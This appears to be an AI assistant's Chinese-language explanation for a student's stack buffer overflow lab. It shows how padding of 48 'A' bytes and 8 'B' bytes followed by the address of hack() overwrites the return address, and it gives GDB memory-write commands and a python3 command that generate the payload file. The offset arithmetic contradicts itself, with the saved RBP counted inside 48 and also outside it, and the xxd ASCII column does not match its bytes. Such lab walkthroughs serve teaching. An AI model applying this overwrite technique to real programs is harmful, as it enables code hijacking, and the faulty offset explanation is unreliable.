✅ 为什么是 b"A"*48 和 b"B"*8?
你写的 C 代码:
#define BUFSIZE 32
char buf[BUFSIZE]; // buf[32]
const int fav_number = 12; // 4 字节
你用的是 x86_64 架构(64-bit Linux),栈的布局是这样的:
[低地址]
|----------------------|
| buf[32] | <- 0x20 bytes = 32 bytes
|----------------------|
| padding(可选) |
|----------------------|
| fav_number (int) | <- 4 bytes
|----------------------|
| padding (对齐) | <- 为了对齐,补上 4 字节,使栈帧对齐到 16 bytes(这是 ABI 要求)
|----------------------|
| saved %rbp (8 字节) | <- 函数调用前 `push %rbp`
|----------------------|
| return address (8字) | <- 函数调用时由 `call` 指令压入
[高地址]
在实际编译中,由于对齐要求,buf[32] + fav_number(4) + padding(4) + saved RBP(8) = 共占用 48 + 8 字节,所以:
b"A"*48:覆盖buf[32] + fav_number + padding;b"B"*8:覆盖saved rbp;- 再紧跟着的 8 字节就是
返回地址,我们要用hack()的地址覆盖它。
所以:48 是结构体大小,8 是 saved rbp 的大小。
你在 GDB 中打印 $rbp+8(也就是返回地址的位置),验证了就是 main() 的下一条指令地址,所以我们需要覆盖它。
✅ 如果用 GDB 操作怎么做溢出攻击?
我们可以在 GDB 中直接往内存写入 payload。
假设你已经到了 foo() 中 gets(buf) 的断点位置,你可以这样做:
(gdb) break foo
(gdb) run
然后到了断点后,查看 buf 的地址:
(gdb) info frame
# 或者
(gdb) p &buf
$1 = (char (*)[32]) 0x7fffffffd6d0
你就可以直接修改内存:
# 把前48字节写成A
(gdb) set {char[48]} 0x7fffffffd6d0 = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
# 再覆盖 rbp 为BBBBBBBB
(gdb) set {char[8]} 0x7fffffffd700 = "BBBBBBBB"
# 再设置返回地址为 hack() 函数地址,比如 0x40113a(用 info address hack 获取)
(gdb) set {long} 0x7fffffffd708 = 0x40113a
然后继续执行:
(gdb) continue
如果成功,你会看到:
you've been hacked!
❗ 关于你对 payload.txt 的误解
你问:是不是 payload.txt 写了那段 Python 命令文本?
不是的!不是把命令的文字写进去,而是把命令运行的“输出结果”写进去了!
也就是说:
python3 -c 'import sys; sys.stdout.buffer.write(...)' > payload.txt
执行后,payload.txt 是一个二进制文件,里面是 b"A"*48 + b"B"*8 + 地址 的内容,不是 Python 源代码。
你可以用 hexdump、xxd 来验证:
xxd payload.txt
你会看到:
00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000010: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000020: 4141 4141 4141 4141 4242 4242 4242 4242 AAAABBBBBBBB
00000030: 3a11 4000 0000 0000 :.@.....
✅ 小结
| 内容 | 解释 |
|---|---|
b"A"*48 | 覆盖 buf、fav_number、padding |
b"B"*8 | 覆盖 saved %rbp |
b"\x3a\x11\x40\x00..." | 覆盖返回地址,跳转到 hack() |
| payload.txt | 是构造好的二进制攻击输入,不是命令文本 |
| GDB 方法 | 可以手动向 buf 开始的位置写入这些数据 |